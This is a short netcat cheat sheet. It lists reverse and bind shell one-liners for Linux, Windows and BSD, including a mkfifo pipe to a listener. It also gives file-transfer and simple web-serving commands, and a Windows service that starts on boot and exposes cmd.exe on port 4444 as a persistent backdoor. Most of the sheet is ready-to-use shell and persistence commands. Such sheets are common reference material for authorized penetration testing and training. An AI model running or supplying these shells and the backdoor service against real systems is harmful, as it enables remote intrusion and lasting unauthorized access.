netcat

Shell

reverse shell (for bind shell reverse the commands)

listener: nc -nvlp [local port]
client(linux): nc [remote port] -e /bin/bash
client(windows): nc [remote port] -e cmd.exe

reverse shell (BSD version)

rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 |nc 0.0.0.0 5555 >/tmp/f

bind shell (BSD version)

victim side:
mkfifo foo
nc -lk 2600 0<foo | /bin/bash 1>foo

attacker side:
nc [server ip] 2600

File Transfer

push files from client to listener (and vice versa)

listener: nc -nvlp [local port] > [out file]
clinet: nc [ip] [remote port] < [in file]

netcat HTTP server

nc -kl 8000 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; date"

serve a single web page

while true; do nc -l -p 80 -q 1 < error.html; done

add netcat as a service in windows

sc create NcService binPath= "cmd.exe /c start c:\nc.exe -nLp 4444 -e cmd.exe" start= auto error= ignore

sc start NcService

taskkill /f /im nc.exe